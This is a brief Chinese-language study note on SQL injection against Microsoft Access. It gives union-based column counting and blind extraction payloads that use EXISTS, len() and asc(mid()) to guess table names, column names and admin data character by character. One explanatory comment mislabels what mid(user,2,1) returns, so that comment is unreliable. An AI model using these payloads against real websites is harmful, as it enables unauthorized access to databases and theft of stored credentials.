前面有自己总结详细的mysql注入,自己access注入碰到的比较少,虽然比较简单,但是这里做一个总结
- union联合查询法:
因为union前后字段数相同,所以可以先用order by 22 使查询结果按列序排序,确定当前有多少列,顺便直接爆出显示位 - 逐字猜解法:
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名) //存在就返回正常页面,不存在就报错
查数据:1.确定此条数据字段(列名)长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5 //top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度
and (select top 1 len(列名) from admin)>5 //判断是不是长度大于5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
and (select top 1 asc(mid(user,1,1)) from admin)=97 //返回页面正常没有报错,说明user列第一条数据第一位是a,
and (select top 1 asc(mid(user,2,1)) from admin)=97 //user列第2条数据第一位是b....一直猜到len(列名)长度